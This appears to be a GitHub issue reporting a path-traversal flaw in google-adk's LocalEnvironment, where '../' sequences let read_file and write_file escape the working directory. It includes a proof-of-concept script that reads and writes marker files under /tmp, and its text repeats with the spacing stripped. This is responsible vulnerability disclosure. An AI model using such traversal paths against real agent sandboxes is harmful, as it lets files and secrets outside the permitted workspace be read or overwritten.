🔴 Required Information
Describe the Bug:
LocalEnvironment._resolve_path() in src/google/adk/environment/_local_environment.py uses os.path.join(working_dir, path) without canonicalizing or verifying the path stays under working_dir. Relative paths containing .. escape the workspace, so read_file() and write_file() can read or write files outside the intended directory.
Steps to Reproduce:
python3 -m venv .venv && source .venv/bin/activate && pip install -U pip google-adk
- Run the minimal reproduction code below.
- Observe:
/tmp/adk-vrp-traversal-write.txt is created (write outside workspace)
/tmp/adk-vrp-traversal-read.txt is read (read outside workspace)
Expected Behavior:
File operations stay inside the configured working_dir.
Observed Behavior:
write_file("../../../tmp/adk-vrp-traversal-write.txt", ...) and read_file("../../../tmp/adk-vrp-traversal-read.txt") succeed on paths under /tmp, outside the temporary workspace.
Environment Details:
- ADK Library Version:
pip show google-adk (tested on 2.1.0)
- Desktop OS: Linux
- Python Version: Python 3.12
Model Information:
- Are you using LiteLLM: N/A
- Which model is being used: N/A
🟡 Optional Information
Regression: N/A
Logs: N/A
Additional Context:
dev_server.py / fast_api.py use Path.resolve() and is_relative_to() for agent file paths; LocalEnvironment does not. Different from #5530 (shell-based ranged reads in ReadFileTool).
Minimal Reproduction Code:
import asyncio
import tempfile
from pathlib import Path
from google.adk.environment._local_environment import LocalEnvironment
async def main():
Path("/tmp/adk-vrp-traversal-read.txt").write_text("SECRET\n")
Path("/tmp/adk-vrp-traversal-write.txt").unlink(missing_ok=True)
with tempfile.TemporaryDirectory() as wd:
env = LocalEnvironment(working_dir=Path(wd))
await env.initialize()
await env.write_file(
"../../../tmp/adk-vrp-traversal-write.txt",
"written-outside",
)
data = await env.read_file("../../../tmp/adk-vrp-traversal-read.txt")
assert Path("/tmp/adk-vrp-traversal-write.txt").is_file()
assert data.decode().strip() == "SECRET"
print("OK: read/write outside workspace")
await env.close()
asyncio.run(main())
[adk-path-traversal-poc.sh](https://github.com/user-attachments/files/28308150/adk-path-traversal-poc.sh)
**How often has this issue occurred?:**
- Always (100%)
🔴 Required Information
Describe the Bug:
LocalEnvironment._resolve_path()insrc/google/adk/environment/_local_environment.pyusesos.path.join(working_dir, path)without canonicalizing or verifying the path stays underworking_dir. Relative paths containing..escape the workspace, soread_file()andwrite_file()can read or write files outside the intended directory.Steps to Reproduce:
python3 -m venv .venv && source .venv/bin/activate && pip install -U pip google-adk/tmp/adk-vrp-traversal-write.txtis created (write outside workspace)/tmp/adk-vrp-traversal-read.txtis read (read outside workspace)Expected Behavior:
File operations stay inside the configured
working_dir.Observed Behavior:
write_file("../../../tmp/adk-vrp-traversal-write.txt", ...)andread_file("../../../tmp/adk-vrp-traversal-read.txt")succeed on paths under/tmp, outside the temporary workspace.Environment Details:
pip show google-adk(tested on 2.1.0)Model Information:
🟡 Optional Information
Regression: N/A
Logs: N/A
Additional Context:
dev_server.py/fast_api.pyusePath.resolve()andis_relative_to()for agent file paths;LocalEnvironmentdoes not. Different from #5530 (shell-based ranged reads in ReadFileTool).Minimal Reproduction Code: